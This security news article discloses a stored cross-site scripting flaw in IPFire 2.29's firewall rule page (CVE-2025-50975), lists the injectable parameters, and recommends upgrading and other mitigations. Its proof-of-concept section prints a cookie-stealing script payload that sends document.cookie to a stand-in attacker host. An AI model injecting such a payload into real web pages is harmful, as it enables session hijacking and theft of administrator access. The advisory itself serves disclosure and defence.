Persistent XSS Vulnerability in IPFire Web Interface via Authenticated Administrator

In a critical security advisory, researchers have disclosed a stored cross-site scripting (XSS) vulnerability in IPFire 2.29’s web-based firewall interface (firewall.cgi).

Tracked as CVE-2025-50975, the vulnerability enables any authenticated administrator to inject arbitrary JavaScript that remains persistently stored in firewall rule parameters.

When other administrators later access the firewall rules page, the malicious script executes automatically, exposing sessions to hijacking, unauthorized actions, and potential lateral movement within the management console.

IPFire’s firewall management CGI script fails to properly sanitize multiple input parameters used to define or modify firewall rules.

Parameters such as PROT, SRC_PORT, TGT_PORT, dnatport, key, ruleremark, src_addr, std_net_tgt, and tgt_addr can all carry injected payloads.

An administrator with GUI access to the management interface can craft a rule embedding <script> tags or other JavaScript constructs within any of these fields.

Because the interface reflects these values directly into the HTML output without encoding or filtering, the script is stored in IPFire’s rule database and rendered verbatim when the page loads.

Exploitation is straightforward and requires only existing high-privilege credentials—no additional privileges or external hooks are necessary.

The attack complexity is rated low, and there are no mitigating factors like second-factor authentication or input validation in this version. Successful exploitation of the stored XSS enables:

• Session hijacking through cookie theft or token exfiltration.
• Execution of arbitrary actions in the firewall GUI under the victim administrator’s context.
• Stealthy pivoting to internal management services beyond the firewall page.

Demonstration and proof of concept

A proof-of-concept demonstration illustrates the injection and execution flow. In the demo, researchers inserted a payload into the ruleremark field of a new firewall rule.

The injected code silently sends administrator credentials to an attacker-controlled server whenever the rules page is viewed. The demonstration GIF shows:

1. An authenticated admin creating a new rule and embedding <script>new Image().src=‘http://attacker/p?c=’+document.cookie;</script> in the “Remark” field.
2. Saving the rule, which returns a success message but does not indicate any sanitization.
3. Another admin accessing the firewall rules page, at which point the JavaScript is fetched, and the cookie is transmitted to the attacker.

The complete demo is available in the project’s proof repository under IPFire-2.29-Stored-XSS-via-Firewall.gif.

Mitigations

IPFire maintainers have released an updated package in version 2.29.1, which applies proper input validation and HTML encoding to all affected parameters.

Administrators are strongly advised to upgrade immediately. For environments where patching is delayed, the following interim measures can reduce risk:

• Restrict high-privilege GUI access to trusted networks or VPNs only.
• Audit existing firewall rules for suspicious or unexpected characters in editable fields.
• Consider manual removal of untrusted entries via the command line.

In addition to upgrading, security teams should review audit logs for unusual rule-management activity and reset administrator sessions to invalidate any potentially compromised tokens.

This vulnerability underscores the importance of input validation in web-based management consoles, even when they are accessible only by authenticated users.

By promptly applying the vendor’s fix and tightening access controls, IPFire users can prevent persistent XSS attacks and safeguard their network perimeter management.

Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.